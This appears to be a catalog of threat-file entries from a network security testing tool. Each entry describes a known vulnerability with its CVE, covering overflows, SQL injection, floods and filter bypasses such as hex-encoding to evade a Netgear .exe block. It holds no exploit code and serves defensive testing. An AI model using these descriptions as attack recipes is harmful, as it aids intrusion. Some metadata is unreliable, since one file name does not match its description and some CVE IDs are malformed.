Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The flaw is due to a boundary error when processing HTTP requests sent to CGI program getcvdata.exe. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected process, normally Internet Guest Account on Windows platforms. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, normally Internet Guest Account.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0067
Threat Package:	Standard
Threat File Name:	FSC20090625-06_Motorola_Timbuktu_Pro_PlughNTCommand_Stack_Based_Buffer_Overflow.xml
Executive Description:	Motorola Timbuktu Pro PlughNTCommand Stack Based Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Motorola Timbuktu Pro. The flaw is due to a boundary error when Motorola Timbuktu Pro handles requests sent to \PlughNTCommand named pipe. Remote attackers could exploit this vulnerability by sending malformed data to the Timbuktu Pro process. If a code injection attack attempt is performed and is unsuccessful, the affected application will terminate abnormally, creating a denial of service condition. If a code execution attempt is carried out successfully, the behaviour of the target host is dependent on the intention of the injected code. The injected code is executed with System level privileges.
Protocol Type:	SMB
CVEID:	CVE-2009-1394
Threat Package:	Standard
Threat File Name:	FSC20090319-01_IBM_Lotus_Notes_WPD_Attachment_Handling_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes WPD Attachment Handling Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in the IBM Lotus Notes WPD. The vulnerability is due to a boundary-check error when processing Corel WordPerfect (WPD) files. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted Corel WordPerfect file to the target users, potentially causing arbitrary code to be injected and executed on the target system in the security context of the current user. In an attack case where code injection is not successful, the instance of the vulnerable IBM Lotus Notes application will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IMAP/POP3/SMTP/NetBIOS/Notes Remote Procedure Call
CVEID:	CVE-2008-4564
Threat Package:	Standard
Threat File Name:	msie_frame_src_dos_IPv6.xml
Executive Description:	Microsoft Internet Explorer Frame Src Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes Microsoft Internet Explorer 6.0 SP1 and earlier browsers via an invalid src attribute value ("?") in an HTML frame tag with large rows attribute. Microsoft Internet Explorer is a web browser that connects to web servers typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-631
Threat Package:	Standard
Threat File Name:	mtcms_rfi_IPv6.xml
Executive Description:	MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MTCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	secsuite_ip-logger_rfi.xml
Executive Description:	Security Suite IP Logger Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Berlios Security Suite is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5224
Threat Package:	Standard

Threat File Name:	FSC20071220-19_IBM_Lotus_Domino_Web_Access_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	IBM Lotus Domino Web Access ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in IBM Lotus Domino Web Access ActiveX control. The flaw is due to improper bound protection in the InstallBrowserHelperDll() method when processing user supplied argument. A remote attacker may persuade the target user to open a malicious web page to inject and execute arbitrary code on the vulnerable system, with privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	FSC20100810-27_Microsoft_Office_Excel_Pivot_Item_Index_Boundary_Error_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Movie Maker MediaClipString Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Movie Maker. The flaw is due to a boundary error in the way the affected product handles specially crafted MediaClipString data in a Movie Maker project file. A remote attacker can leverage this vulnerability by enticing a target user to open a malicious project file (.MSWMM). A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2562
Threat Package:	Standard
Threat File Name:	veritas_netbackup_fmt.xml
Executive Description:	Veritas Netbackup bpjava-msvc Format String Attack
Detailed Description:	This threat sends a format string attack the Veritas Netbackup Java Interface. It allows an attacker to run arbitrary code with the privileges of the backup daemon. Veritas NetBackup Java Interface typically listens on port13722.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2715
OSVDB:	19949
Threat Package:	Standard
Threat File Name:	ethereal_cdma_ipv6.xml
Executive Description:	Ethereal CDMA Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends out a malicious packet intended to cause a buffer overflow in the Ethereal protocol dissector. This can be used to cause remote code to execute on a machine. (IPv6 Version)
Protocol Type:	3GPP2/IPv6
CVEID:	CVE-2005-1470
OSVDB:	14755
Threat Package:	Standard
Threat File Name:	FSC20090714-06_Microsoft_Windows_Embedded_OpenType_Font_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Embedded OpenType Font Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists within Microsoft Windows Embedded OpenType (EOT) Font Engine. The vulnerability is due to insufficient bounds checking of certain OpenType font file records. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to visit a web page containing a reference to a malicious EOT file. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the targeted application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0231
Threat Package:	Standard
Threat File Name:	TSL20130131-03_Novell_GroupWise_Client_ActiveX_gwmiml.ocx_Untrusted_Pointer_Dereference.xml
Executive Description:	Novell GroupWise Client ActiveX gwmiml.ocx Untrusted Pointer Dereference
Detailed Description:	An untrusted pointer dereference vulnerability exists in SecManageRecipientCertificates() function in gwmiml.ocx component of Novell GroupWise Client for Windows. This function can be called using an ActiveX control. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0804
Threat File Name:	excel_bof_a.xml
Executive Description:	Microsoft Excel xls file Remote Code Execution MS06-012
Detailed Description:	This server based threat downloads a Malicious xls file which triggers the excel remote code execution flaw mentioned in microsoft advisory ms06-012.
Protocol Type:	HTTP
CVEID:	CVE-2006-0029
Threat Package:	Standard
Threat File Name:	FSC20100326-08_Apple_Safari_CSS_format_Argument_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari CSS format Argument Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to an error while processing CSS format arguments. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page with a vulnerable application. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0046
Threat Package:	Standard

Threat File Name:	FSC20040513-01_Norton_DNS_CNAME_Buffer_Overflow_IPv6.xml
Executive Description:	Norton DNS CNAME Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability within multiple Symantec client security products. An attacker can craft a DNS packet that will overflow a buffer within the Symantec security products, allowing an attacker to execute arbitrary code on the remote client in the KERNEL level context. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0444
Threat Package:	Standard
Threat File Name:	sipbyeflood.xml
Executive Description:	SIP BYE Flood
Detailed Description:	This threat sends out a flood of SIP BYE packets, attempting to overwhelm either a PBX or a VoIP phone.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20140123-02_Google_Chrome_XSSAuditor_Filter_Security_Policy_Bypass_IPv6.xml
Executive Description:	Google Chrome XSSAuditor Filter Security Policy Bypass(IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in Google Chrome. The vulnerability is due a design weakness in Chrome XSSAuditor. By inserting JavaScript in the srcdoc attribute of an IFRAME tag, the Cross-Site Scripting filter can be bypassed. An attacker can exploit this weakness to further facilitate exploiting known cross-site vulnerabilities.
Protocol Type:	HTTP,HTTPS,IPV6
OSVDB:	102412
Threat File Name:	net-ftpd.xml
Executive Description:	NetFTPD Buffer Overflow
Detailed Description:	This threat exploits a buffer overflow in the net-ftpd server that is bundled with InterSoft's NetTerm application. FTP typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-1323
OSVDB:	15865
Threat Package:	Standard
Threat File Name:	FSC20080208-23_Adobe_Multiple_Products_PDF_JavaScript_Method_Buffer_Overflow.xml
Executive Description:	Adobe Multiple Products PDF JavaScript Method Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in multiple Adobe products. The vulnerability is due to insufficient input validation in Collab.collectEmailInfo JavaScript methods. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed file, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. In an attack case where code injection is not successful, the affected Acrobat application that is parsing the malicious PDF document may terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-5659
Threat Package:	Standard
Threat File Name:	UDPport53.xml
Executive Description:	UDP Port 53 Firewall
Detailed Description:	It is possible to bypass the rules of many firewalls and inject code into a targeted system by sending the targeted system UDP packets from port 53. This threat is meant to expose weak points in firewalls by sending packets to a remote system, from a falsified location, that may contain malicious instructions or information probing techniques.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	netgear_unauthorized_IPv6.xml
Executive Description:	Netgear URL Blocking Bypass (IPv6 Version)
Detailed Description:	This threat attempts to download a file labeled malware.exe off of a webserver. If a Netgear router is configured to block all files with an extension of .exe, it will still allow this request through due to hex encoding of the character X to %78. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0290
OSVDB:	13011
Threat Package:	Standard
Threat File Name:	nessus_activex_rexec_IPv6.xml
Executive Description:	Nessus Vulnerability Scanner 3.0.6 ActiveX Command Exec Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in Nessus Vulnerability Scanner ActiveX Control to execute arbitrary commands with the privileges of the affected user. The threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4061
Threat Package:	Standard
Threat File Name:	FSC20090414-14_Microsoft_Windows_WordPad_Word_97_Text_Converter_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows WordPad Word 97 Text Converter Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Word 97 converter shipped with the Microsoft Windows family of operating systems. The flaw is due to a boundary error when processing crafted Word document files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted Word 97 document with an affected version of WordPad. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is unsuccessful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0235

Threat Package:	Standard
Threat File Name:	FSC20071212-08_Apache_mod_imap_and_mod_imagemap_Module_Cross-Site_Scripting_IPv6.xml
Executive Description:	Apache mod_imap and mod_imagemap Module Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_imap and mod_imagemap Module. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5000
Threat Package:	Standard
Threat File Name:	TSL20170313-05_HPE_Intelligent_Management_Center_UrlAccessController_Authentication_Bypass_IPv6.xml
Executive Description:	HPE Intelligent Management Center UrlAccessController Authentication Bypass (IPv6 Version)
Detailed Description:	An authentication bypass vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to errors in handling specific strings contained in the request URI. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation allows an attacker to bypass authentication requirements on a target URI which can be leveraged to perform further attacks.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5791
Threat File Name:	FSC20070424-19_CA_BrightStor_ARCserve_Backup_Media_Server_SUN_RPC_Denial_of_Service_IPv6.xml
Executive Description:	CA BrightStor ARCserve Backup Media Server SUN RPC Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Media Server. The vulnerability is due to insufficient boundary checking when processing crafted strings supplied in SUN RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to terminate the affected service, causing denial of service condition. (IPv6 Version)
Protocol Type:	STARTRON/IPv6
CVEID:	CVE-2007-2139
Threat Package:	Standard
Threat File Name:	TSL20101012-05_Microsoft_Windows_Media_Player_Network_Sharing_Service_RTSP_Code_Execution.xml
Executive Description:	Microsoft Windows Media Player Network Sharing Service RTSP Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in the Microsoft Windows Media Player Network Sharing Service. The vulnerability is caused by an use after free when handling the RTSP request. An attacker can exploit this vulnerability by sending a malicious RTSP request to a vulnerable system. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Tester should set variable \$destport to 554 before test.
Protocol Type:	RTSP
CVEID:	CVE-2010-3225
Threat File Name:	FSC20080129-08_Oracle_Database_Server_XDB_PITRIG_TRUNCATE_Procedure_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Database Server XDB PITRIG_TRUNCATE Procedure Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to procedure PITRIG_TRUNCATE in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2008-0339
Threat Package:	Standard
Threat File Name:	TSL20120629-06_Oracle_AutoVue_AutoVueX_ActiveX_Control_SetMarkupMode_Stack_Buffer_Overflow.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control SetMarkupMode Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle AutoVue. The vulnerability is due to an unbounded copy from a heap buffer to a stack buffer when processing SetMarkupMode function. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0549
OSVDB:	81439
Threat File Name:	hp_jetdir_ftpserver_dos_IPv6.xml
Executive Description:	HP Jetdirect FTP Print Server RERT Command Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat will crash an HP Jetdirect FTP Print Server with a very long RERT Command. HP Jetdirect FTP Print Server typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2007-0358
Threat Package:	Standard
Threat File Name:	unclassified_nb_sqli.xml
Executive Description:	Unclassified NewsBoard Forum.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Unclassified NewsBoard is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3686
OSVDB:	20951
Threat Package:	Standard
Threat File Name:	TSL20130725-14_HP_LoadRunner_micWebAjax.dll_ActiveX_Control_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	HP LoadRunner micWebAjax.dll ActiveX Control Stack Buffer Overflow [IPv6, Version]

Detailed Description:	An stack buffer overflow vulnerability exists in HP LoadRunner. The vulnerability is due to insufficient bounds checking on NotifyEventmethod parameters. The application copies the parameters into a fixed size stack buffer, which can be overflowed. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution within security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-CVE-2013-2368
OSVDB:	95639
Threat File Name:	FSC20080110-08_Apple_QuickTime_Crafted_HTTP_Error_Response_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Crafted HTTP Error Response Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime application. The flaw is due to improper boundary protection when handling HTTP error response. A remote attacker can exploit this vulnerability by persuading the target user to visit a malicious server. Successful exploitation could allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	
CVEID:	CVE-2008-0234
Threat Package:	Standard
Threat File Name:	TSL20161213-21_Microsoft_Internet_Explorer_CWigglyShape_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer CWigglyShape Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could result in the disclosure of information that can be used to circumvent Address Space Layout Randomization (ASLR) in Windows.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7283
Threat File Name:	FSC20110311-02_Oracle_Java_XGetSamplePtrFromSnd_Memory_Corruption_IPv6.xml
Executive Description:	Oracle Java XGetSamplePtrFromSnd Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists within Oracle JRE and JDK. The flaw is due to an input validation error within jsound!XGetSamplePtrFromSnd while processing user supplied Soundbank data. By enticing a target user to run a Java applet or a Java Web Start application, a remote attacker can exploit this vulnerability to execute arbitrary code on a target system. Successful exploitation could result in execution of arbitrary code within the security context of the current user.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2010-4462
Threat File Name:	TSL20110808-01_Google_Chrome_and_Apple_Safari_Floating_Styles_Use-After-Free_Code_Execution.xml
Executive Description:	Google Chrome and Apple Safari Floating Styles Use-After-Free Code Execution
Detailed Description:	A code execution vulnerability exists Apple Safari and Google Chrome. The vulnerability is due to a use-after-free condition while handling floating style information. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to memory corruption and the possibility of code execution in the context of the affected user. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2790
Threat File Name:	FSC20070612-10_Microsoft_Windows_Win32_API_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows Win32 API Code Execution Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows implementation of the Win32 API. The vulnerability is caused due to the lack of proper validation of API parameters. An attacker can exploit the vulnerability for code execution by manipulating an application into making API calls with malformed parameters. Any code injected into the application would be executed within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2219
Threat Package:	Standard
Threat File Name:	hsrptakeover.xml
Executive Description:	HSRP Takeover Attack
Detailed Description:	This attack tries to take over a router group using HSRP by repeatedly sending out coup and hello packets with high priority. This can be used as a denial of service attack on the router group by specifying a nonexistent router.
Protocol Type:	HSRP
Threat Package:	Standard
Threat File Name:	FSC20071218-10_ClamAV_libclamav_MEW_PE_File_Handling_Integer_Overflow.xml
Executive Description:	ClamAV libclamav MEW PE File Handling Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted PE files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning service resulting in injection and execution of arbitrary code.
Protocol Type:	HTTP
CVEID:	CVE-2007-6335
Threat Package:	Standard
Threat File Name:	TSL20140205-01_WellinTech_Multiple_Products_kxClientDownload_ActiveX_Remote_Code_Execution.xml
Executive Description:	WellinTech Multiple Products kxClientDownload ActiveX Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in WellinTech multiple products. The vulnerability exists in ClientDownload.ocx ActiveX control and is due to insufficient sanitization of ProjectURL property.</para><para>A remote unauthenticated attacker can leverage this vulnerability to download and load an arbitrary DLL file from a remote location. This can lead to code execution under the context of the administrator.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-2827
OSVDB:	102135

Threat File Name:	joomla_rwcards_sqli_IPv6.xml
Executive Description:	Joomla Component RWCards <= 2.4.3 Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Joomla Component RWCards is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1703
Threat Package:	Standard
Threat File Name:	FSC20041116-01_Ipswitch_IMail_IMAP_Service_DELETE_Command_Buffer_Overflow_IPv6.xml
Executive Description:	Ipswitch IMail IMAP Service DELETE Command Buffer Overflow (IPv6 Version)
Detailed Description:	There is a vulnerability in the way the Ipswitch IMail IMAP service processes the DELETE command. An argument to this command that is excessively long will trigger a stack-based buffer overflow. An attacker can exploit this vulnerability to terminate the service and create a denial of service condition or execute arbitrary code. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2004-1520
Threat Package:	Standard
Threat File Name:	FSC20080521-02_IBM_Lotus_Domino_Web_Server_HTTP_Header_Buffer_Overflow.xml
Executive Description:	IBM Lotus Domino Web Server HTTP Header Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in IBM Lotus Domino Web Server application. The vulnerability is due to improper handling of a header field in HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process, normally System.
Protocol Type:	HTTP
CVEID:	CVE-2008-2240
Threat Package:	Standard
Threat File Name:	lupper13_IPv6.xml
Executive Description:	Lupper Worm 13 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20110627-05_Novell_ZENworks_Handheld_Management_Upload_Directory_Traversal.xml
Executive Description:	Novell ZENworks Handheld Management Upload Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Handheld Management. The vulnerability occurs during a file upload operation, which can lead to an arbitrary file upload, and later command execution. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request to a target server. Successful exploitation can result in a full system compromise of a target system. The vendor, Novell, has not released an advisory regarding this vulnerability.
Protocol Type:	Novell ZfHSrvr Proprietary
Threat File Name:	TSL20140619-01_Rocket_Servergraph_Admin_Center_fileRequestor_Directory_Traversal.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor Directory Traversal
Detailed Description:	A code execution vulnerability exists in Rocket Servergraph Admin Center for TSM, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. The vulnerability is due to a directory traversal within the fileRequestServlet servlet. A remote unauthenticated attacker can exploit this vulnerability to achieve arbitrary code execution under the context of the SYSTEM user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-3914
OSVDB:	107680
Threat File Name:	RipReqFlood.xml
Executive Description:	RIP Request Flood
Detailed Description:	This threat launches RIP (Routing Information Protocol) request messages, at a targeted gateway or router, from a falsified and randomized source. This will result in the responding system to send all or part of its routing table in a RIP response message. This will result in the system being tied up as a result of sending thousands of erroneous replies.
Protocol Type:	RIP
CVEID:	CVE-1999-0111
OSVDB:	11726
Threat Package:	Standard
Threat File Name:	FSC20101216-05_HP_Power_Manager_Administration_Web_Server_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	HP Power Manager Administration Web Server Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists within HP Power Manager. This vulnerability may be exploited by remote unauthenticated attackers to cause execution of arbitrary code on the target system. In an attack scenario where code execution is successful the injected code will be executed within the security context of the SYSTEM user. An unsuccessful exploit attempt may abnormally terminate the affected application
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-4113
Threat File Name:	TSL20140610-01_Microsoft_Internet_Explorer_behavior_Property_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer behavior Property Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1775
OSVDB:	107856

Threat File Name:	incredimail_activex_bof.xml
Executive Description:	IncrediMail IMMenuShellExt ActiveX Control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in IncrediMail ActiveX control trigger arbitrary code execution in Internet Explorer when accessed from a malicious webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1683
Threat Package:	Standard
Threat File Name:	TSL20140311-14_Microsoft_Internet_Explorer_CVE-2014-0312_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0312 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0312
OSVDB:	104304
Threat File Name:	TSL20150331-10_Multiple_SolarWinds_Orion_GetAccounts_SQL_Injections_IPv6.xml
Executive Description:	Multiple SolarWinds Orion GetAccounts SQL Injections IPv6 version.
Detailed Description:	Multiple SQL injection vulnerabilities have been reported in SolarWinds products which use the Orion management system. These vulnerabilities are due to insufficient validation of certain parameters when processed by GetAccounts(). A remote attacker can exploit these vulnerabilities to inject and execute arbitrary SQL code on the affected system. Tester should set the variable \$destPort to 8787 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-9566
OSVDB:	118746
Threat File Name:	TSL20111213-06_Microsoft_Time_Remote_Code_Execution.xml
Executive Description:	Microsoft Time Remote Code Execution
Detailed Description:	A code execution vulnerability has been reported in the Microsoft Time component. The vulnerability is due to insufficient input validation while handling certain parameters. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to visit a maliciously crafted web site. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, then the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3397
Threat File Name:	TSL20140618-14_Symantec_Web_Gateway_dbutils.php_SQL_Injection_IPv6.xml
Executive Description:	Symantec Web Gateway dbutils.php SQL Injection IPv6 version.
Detailed Description:	An SQL injection vulnerability exists in Symantec Web Gateway. The vulnerability is due to lack of proper sanitization of the "hostname" HTTP parameter passed to some PHP pages. A remote, authenticated attacker could exploit this vulnerability by sending a crafted HTTP request to the vulnerable target server. A successful exploitation attempt could result in the execution of SQL commands, leading to information disclosure, corruption of the database, a denial-of-service condition, corruption of the database, and possibly other effects.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-1651
OSVDB:	108183
Threat File Name:	ntpRequestFlood.xml
Executive Description:	NTP Request Flood
Detailed Description:	This threat sends out multiple spoofed NTP requests in order to stop legitimate NTP connections from passing through.
Protocol Type:	NTP
Threat Package:	Standard
Threat File Name:	FSC20100406-02_Oracle_Java_Soundbank_Resource_Name_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Java Soundbank Resource Name Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability has been reported in Oracle Java Runtime. The vulnerability is due to a sign-extension error when parsing the length of a resource name in a Soundbank file. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a malicious Java applet with a vulnerable application. In a successful attack, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0839
Threat Package:	Standard
Threat File Name:	TSL20161220-07_Samba_NDR_Parsing_ndr_pull_dnsp_name_Integer_Overflow_IPv6.xml
Executive Description:	Samba NDR Parsing ndr_pull_dnsp_name Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Samba. The vulnerability is due to incorrectly parsing crafted NDR data in the ndr_pull_dnsp_name() function, resulting in an integer overflow that leads to a heap buffer overflow. A remote, authenticated attacker could exploit this vulnerability by sending malicious packets to a vulnerable Samba service configured as an Active Directory Domain Controller. A successful attack could result in arbitrary code execution with the root privileges while an unsuccessful attack will cause the service to terminate or stop responding.
Protocol Type:	LDAP, LDAPS, IPv6
CVEID:	CVE-2016-2123
Threat File Name:	sipregisterflood_IPv6.xml
Executive Description:	SIP Register Flood (IPv6 Version)
